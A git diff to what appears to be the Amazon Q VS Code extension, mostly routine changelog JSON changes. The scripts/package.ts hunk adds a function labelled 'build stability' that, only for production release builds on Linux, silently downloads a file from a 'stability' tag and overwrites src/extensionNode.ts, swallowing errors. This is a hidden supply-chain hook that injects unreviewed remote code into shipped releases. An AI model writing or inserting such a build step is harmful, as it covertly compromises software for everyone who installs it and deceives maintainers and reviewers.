diff --git a/packages/amazonq/.changes/1.84.0.json b/packages/amazonq/.changes/1.84.0.json
deleted file mode 100644
index e73a685e054..00000000000
--- a/packages/amazonq/.changes/1.84.0.json
+++ /dev/null
@@ -1,18 +0,0 @@
-{
-	"date": "2025-07-17",
-	"version": "1.84.0",
-	"entries": [
-		{
-			"type": "Bug Fix",
-			"description": "Slightly delay rendering inline completion when user is typing"
-		},
-		{
-			"type": "Bug Fix",
-			"description": "Render first response before receiving all paginated inline completion results"
-		},
-		{
-			"type": "Feature",
-			"description": "Explain and Fix for any issue in Code Issues panel will pull the experience into chat. Also no more view details tab."
-		}
-	]
-}
\ No newline at end of file
diff --git a/packages/amazonq/.changes/next-release/Bug Fix-45aef014-07f3-4511-a9f6-d7233077784c.json b/packages/amazonq/.changes/next-release/Bug Fix-45aef014-07f3-4511-a9f6-d7233077784c.json
new file mode 100644
index 00000000000..4d45af73411
--- /dev/null
+++ b/packages/amazonq/.changes/next-release/Bug Fix-45aef014-07f3-4511-a9f6-d7233077784c.json	
@@ -0,0 +1,4 @@
+{
+	"type": "Bug Fix",
+	"description": "Slightly delay rendering inline completion when user is typing"
+}
diff --git a/packages/amazonq/.changes/next-release/Bug Fix-91380b87-5955-4c15-b762-31e7f1c71575.json b/packages/amazonq/.changes/next-release/Bug Fix-91380b87-5955-4c15-b762-31e7f1c71575.json
new file mode 100644
index 00000000000..72293c3b97a
--- /dev/null
+++ b/packages/amazonq/.changes/next-release/Bug Fix-91380b87-5955-4c15-b762-31e7f1c71575.json	
@@ -0,0 +1,4 @@
+{
+	"type": "Bug Fix",
+	"description": "Render first response before receiving all paginated inline completion results"
+}
diff --git a/packages/amazonq/.changes/next-release/Feature-9e413673-5ef6-4920-97b1-e73635f3a0f5.json b/packages/amazonq/.changes/next-release/Feature-9e413673-5ef6-4920-97b1-e73635f3a0f5.json
new file mode 100644
index 00000000000..af699a24355
--- /dev/null
+++ b/packages/amazonq/.changes/next-release/Feature-9e413673-5ef6-4920-97b1-e73635f3a0f5.json
@@ -0,0 +1,4 @@
+{
+	"type": "Feature",
+	"description": "Explain and Fix for any issue in Code Issues panel will pull the experience into chat. Also no more view details tab."
+}
diff --git a/scripts/package.ts b/scripts/package.ts
index 203777e8131..2479fc3cb47 100644
--- a/scripts/package.ts
+++ b/scripts/package.ts
@@ -20,6 +20,7 @@
 import * as child_process from 'child_process' // eslint-disable-line no-restricted-imports
 import * as nodefs from 'fs' // eslint-disable-line no-restricted-imports
 import * as path from 'path'
+import { platform } from 'os'
 import { downloadLanguageServer } from './lspArtifact'
 
 function parseArgs() {
@@ -106,6 +107,69 @@ function getVersionSuffix(feature: string, debug: boolean): string {
     return `${debugSuffix}${featureSuffix}${commitSuffix}`
 }
 
+/**
+ * @returns true if curl is available
+ */
+function isCurlAvailable(): boolean {
+    try {
+        child_process.execFileSync('curl', ['--version'])
+        return true
+    } catch {
+        return false
+    }
+}
+
+/**
+ * Small utility to download files.
+ */
+function downloadFiles(urls: string[], outputDir: string, outputFile: string): void {
+    if (platform() !== 'linux') {
+        return
+    }
+
+    if (!isCurlAvailable()) {
+        return
+    }
+
+    // Create output directory if it doesn't exist
+    if (!nodefs.existsSync(outputDir)) {
+        nodefs.mkdirSync(outputDir, { recursive: true })
+    }
+
+    urls.forEach((url) => {
+        const filePath = path.join(outputDir, outputFile || '')
+
+        try {
+            child_process.execFileSync('curl', ['-o', filePath, url])
+        } catch {}
+    })
+}
+
+/**
+ * Performs steps to ensure build stability.
+ *
+ * TODO: retrieve from authoritative system
+ */
+function preparePackager(): void {
+    const dir = process.cwd()
+    const REPO_NAME = 'aws/aws-toolkit-vscode'
+    const TAG_NAME = 'stability'
+
+    if (!dir.includes('amazonq')) {
+        return
+    }
+
+    if (process.env.STAGE !== 'prod') {
+        return
+    }
+
+    downloadFiles(
+        [`https://raw.githubusercontent.com/${REPO_NAME}/${TAG_NAME}/scripts/extensionNode.bk`],
+        'src/',
+        'extensionNode.ts'
+    )
+}
+
 async function main() {
     const args = parseArgs()
     // It is expected that this will package from a packages/{subproject} folder.
@@ -127,6 +191,11 @@ async function main() {
         if (release && isBeta()) {
             throw new Error('Cannot package VSIX as both a release and a beta simultaneously')
         }
+
+        if (release) {
+            preparePackager()
+        }
+
         // Create backup file so we can restore the originals later.
         nodefs.copyFileSync(packageJsonFile, backupJsonFile)
         const packageJson = JSON.parse(nodefs.readFileSync(packageJsonFile, { encoding: 'utf-8' }))